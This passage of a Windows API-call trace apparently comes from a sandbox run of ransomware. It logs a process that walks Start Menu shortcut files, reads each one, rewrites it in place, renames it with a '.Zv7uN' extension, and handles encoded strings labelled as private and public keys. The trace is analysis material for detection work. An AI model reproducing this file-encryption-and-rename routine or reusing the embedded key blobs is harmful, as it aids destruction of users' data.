menu\\programs\\mozilla firefox.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0130.158] WriteFile (in: hFile=0x1ec, lpBuffer=0x1f29460*, nNumberOfBytesToWrite=0x491, lpNumberOfBytesWritten=0x18f6ac, lpOverlapped=0x0 | out: lpBuffer=0x1f29460*, lpNumberOfBytesWritten=0x18f6ac*=0x491, lpOverlapped=0x0) returned 1 [0130.160] CloseHandle (hObject=0x1ec) returned 1 [0130.161] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Mozilla Firefox.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\mozilla firefox.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Mozilla Firefox.lnk.Zv7uN" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\mozilla firefox.lnk.zv7un")) returned 1 [0130.162] GetCurrentThreadId () returned 0xa30 [0130.162] GetCurrentThreadId () returned 0xa30 [0130.162] GetCurrentThreadId () returned 0xa30 [0130.162] GetCurrentThreadId () returned 0xa30 [0130.162] GetCurrentThreadId () returned 0xa30 [0130.162] GetCurrentThreadId () returned 0xa30 [0130.162] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78038410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x78038410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78038410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="SharePoint", cAlternateFileName="SHAREP~1")) returned 1 [0130.163] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a233bd5, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8a233bd5, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8a233bd5, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x532, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Sidebar.lnk", cAlternateFileName="")) returned 1 [0130.163] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0130.163] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0130.163] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Sidebar.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\sidebar.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f6e0 | out: lpFileInformation=0x18f6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a233bd5, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8a233bd5, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8a233bd5, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x532)) returned 1 [0130.163] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Sidebar.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\sidebar.lnk")) returned 0x20 [0130.164] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Sidebar.lnk", dwFileAttributes=0x80) returned 1 [0130.166] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0130.166] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f158fc, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0130.167] GetCurrentThreadId () returned 0xa30 [0130.167] GetCurrentThreadId () returned 0xa30 [0130.167] GetCurrentThreadId () returned 0xa30 [0130.168] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0130.168] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f2695c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0130.168] GetCurrentThreadId () returned 0xa30 [0130.168] GetCurrentThreadId () returned 0xa30 [0130.168] GetCurrentThreadId () returned 0xa30 [0130.168] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Sidebar.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\sidebar.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0130.169] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f694*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f694*=0) returned 0x0 [0130.169] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0130.169] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x532 [0130.169] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0130.169] ReadFile (in: hFile=0x1ec, lpBuffer=0x1f2e760, nNumberOfBytesToRead=0x532, lpNumberOfBytesRead=0x18f6a0, lpOverlapped=0x0 | out: lpBuffer=0x1f2e760*, lpNumberOfBytesRead=0x18f6a0*=0x532, lpOverlapped=0x0) returned 1 [0130.461] CloseHandle (hObject=0x1ec) returned 1 [0130.543] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Sidebar.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\sidebar.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0130.799] WriteFile (in: hFile=0x1ec, lpBuffer=0x1f30790*, nNumberOfBytesToWrite=0x532, lpNumberOfBytesWritten=0x18f6ac, lpOverlapped=0x0 | out: lpBuffer=0x1f30790*, lpNumberOfBytesWritten=0x18f6ac*=0x532, lpOverlapped=0x0) returned 1 [0130.801] CloseHandle (hObject=0x1ec) returned 1 [0130.802] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Sidebar.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\sidebar.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Sidebar.lnk.Zv7uN" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\sidebar.lnk.zv7un")) returned 1 [0130.805] GetCurrentThreadId () returned 0xa30 [0130.805] GetCurrentThreadId () returned 0xa30 [0130.805] GetCurrentThreadId () returned 0xa30 [0130.806] GetCurrentThreadId () returned 0xa30 [0130.806] GetCurrentThreadId () returned 0xa30 [0130.806] GetCurrentThreadId () returned 0xa30 [0130.806] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2832bdaf, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Startup", cAlternateFileName="")) returned 1 [0130.806] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x9182055d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Tablet PC", cAlternateFileName="TABLET~1")) returned 1 [0130.806] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b186991, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8b186991, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8b186991, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x548, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Windows Anytime Upgrade.lnk", cAlternateFileName="WINDOW~3.LNK")) returned 1 [0130.806] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0130.806] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0130.806] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Windows Anytime Upgrade.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\windows anytime upgrade.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f6e0 | out: lpFileInformation=0x18f6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b186991, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8b186991, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8b186991, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x548)) returned 1 [0130.807] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Windows Anytime Upgrade.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\windows anytime 